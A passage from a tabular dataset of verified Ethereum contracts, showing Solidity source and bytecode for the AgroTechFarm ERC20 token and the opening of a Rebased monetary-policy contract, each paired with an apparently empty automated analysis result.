"results": {}} | 348 |
0x014e42ae89b24738591e2f695e1ef6d95bd38619 | pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
/** List of agents that are allowed to create new tokens */
mapping (address => bool) public saleAgent;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier onlySaleAgent() {
// Only crowdsale contracts are allowed to mint new tokens
require(saleAgent[msg.sender]);
_;
}
function setSaleAgent(address addr, bool state) onlyOwner canMint public {
saleAgent[addr] = state;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlySaleAgent canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlySaleAgent canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract AgroTechFarmToken is PausableToken, CappedToken {
string public constant name = "AgroTechFarm";
string public constant symbol = "ATF";
uint8 public constant decimals = 18;
uint256 private constant TOKEN_CAP = 5 * 10**24;
function AgroTechFarmToken() public CappedToken(TOKEN_CAP) {
paused = true;
}
} | 0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461012d57806306fdde031461015c578063095ea7b3146101ec57806318160ddd1461025157806323b872dd1461027c578063313ce5671461030157806334fd11a314610332578063355274ea1461038d5780633f4ba83a146103b857806340c10f19146103cf5780635c975abb14610434578063661884631461046357806370a08231146104c85780637d64bcb41461051f5780638456cb591461054e5780638da5cb5b1461056557806395d89b41146105bc578063a09ddd4f1461064c578063a9059cbb1461069b578063d73dd62314610700578063dd62ed3e14610765578063f2fde38b146107dc575b600080fd5b34801561013957600080fd5b5061014261081f565b604051808215151515815260200191505060405180910390f35b34801561016857600080fd5b50610171610832565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b1578082015181840152602081019050610196565b50505050905090810190601f1680156101de5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f857600080fd5b50610237600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061086b565b604051808215151515815260200191505060405180910390f35b34801561025d57600080fd5b5061026661089b565b6040518082815260200191505060405180910390f35b34801561028857600080fd5b506102e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a5565b604051808215151515815260200191505060405180910390f35b34801561030d57600080fd5b506103166108d7565b604051808260ff1660ff16815260200191505060405180910390f35b34801561033e57600080fd5b50610373600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108dc565b604051808215151515815260200191505060405180910390f35b34801561039957600080fd5b506103a26108fc565b6040518082815260200191505060405180910390f35b3480156103c457600080fd5b506103cd610902565b005b3480156103db57600080fd5b5061041a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109c2565b604051808215151515815260200191505060405180910390f35b34801561044057600080fd5b50610449610a6f565b604051808215151515815260200191505060405180910390f35b34801561046f57600080fd5b506104ae600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a82565b604051808215151515815260200191505060405180910390f35b3480156104d457600080fd5b50610509600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ab2565b6040518082815260200191505060405180910390f35b34801561052b57600080fd5b50610534610afa565b604051808215151515815260200191505060405180910390f35b34801561055a57600080fd5b50610563610bc2565b005b34801561057157600080fd5b5061057a610c83565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105c857600080fd5b506105d1610ca9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106115780820151818401526020810190506105f6565b50505050905090810190601f16801561063e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561065857600080fd5b50610699600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610ce2565b005b3480156106a757600080fd5b506106e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db5565b604051808215151515815260200191505060405180910390f35b34801561070c57600080fd5b5061074b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610de5565b604051808215151515815260200191505060405180910390f35b34801561077157600080fd5b506107c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e15565b6040518082815260200191505060405180910390f35b3480156107e857600080fd5b5061081d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e9c565b005b600360159054906101000a900460ff1681565b6040805190810160405280600c81526020017f4167726f546563684661726d000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff1615151561088957600080fd5b6108938383610ff4565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff161515156108c357600080fd5b6108ce8484846110e6565b90509392505050565b601281565b60046020528060005260406000206000915054906101000a900460ff1681565b60055481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561095e57600080fd5b600360149054906101000a900460ff16151561097957600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610a1c57600080fd5b600360159054906101000a900460ff16151515610a3857600080fd5b600554610a50836001546114a090919063ffffffff16565b11151515610a5d57600080fd5b610a6783836114be565b905092915050565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610aa057600080fd5b610aaa83836116a0565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b5857600080fd5b600360159054906101000a900460ff16151515610b7457600080fd5b6001600360156101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c1e57600080fd5b600360149054906101000a900460ff16151515610c3a57600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f415446000000000000000000000000000000000000000000000000000000000081525081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d3e57600080fd5b600360159054906101000a900460ff16151515610d5a57600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600360149054906101000a900460ff16151515610dd357600080fd5b610ddd8383611931565b905092915050565b6000600360149054906101000a900460ff16151515610e0357600080fd5b610e0d8383611b50565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ef857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610f3457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561112357600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561117057600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156111fb57600080fd5b61124c826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4c90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112df826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113b082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4c90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008082840190508381101515156114b457fe5b8091505092915050565b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561151857600080fd5b600360159054906101000a900460ff1615151561153457600080fd5b611549826001546114a090919063ffffffff16565b6001819055506115a0826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156117b1576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611845565b6117c48382611d4c90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561196e57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156119bb57600080fd5b611a0c826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4c90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a9f826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611be182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000828211151515611d5a57fe5b8183039050929150505600a165627a7a72305820f547d9e8ac14e2b6a57a6a575d9de5939ce3547cb219e0b74f5c3fe67d23518e0029 | {"success": true, "error": null, "results": {}} | 349 |
0x1c0a9a8fc9182b82dc69866c80f4cfe0d483c510 | /**
*Submitted for verification at Etherscan.io on 2020-08-13
*/
// SPDX-License-Identifier: MIT
/*
MIT License
Copyright (c) 2018 requestnetwork
Copyright (c) 2018 Fragments, Inc.
Copyright (c) 2020 Rebased
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
pragma solidity ^0.6.12;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b)
internal
pure
returns (int256)
{
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a)
internal
pure
returns (int256)
{
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
}
/**
* @title Various utilities useful for uint256.
*/
library UInt256Lib {
uint256 private constant MAX_INT256 = ~(uint256(1) << 255);
/**
* @dev Safely converts a uint256 to an int256.
*/
function toInt256Safe(uint256 a)
internal
pure
returns (int256)
{
require(a <= MAX_INT256);
return int256(a);
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IRebased {
function totalSupply() external view returns (uint256);
function rebase(uint256 epoch, int256 supplyDelta) external returns (uint256);
}
interface IOracle {
function getData() external view returns (uint256, bool);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
_owner = msg.sender;
}
/**
* @return the address of the owner.
*/
function owner() public view returns(address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Rebased Monetary Supply Policy
* @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth.
* uFragments operates symmetrically on expansion and contraction. It will both split and
* combine coins to maintain a stable unit price.
*
* This component regulates the token supply of the uFragments ERC20 token in response to
* market oracles.
*/
contract MonetaryPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
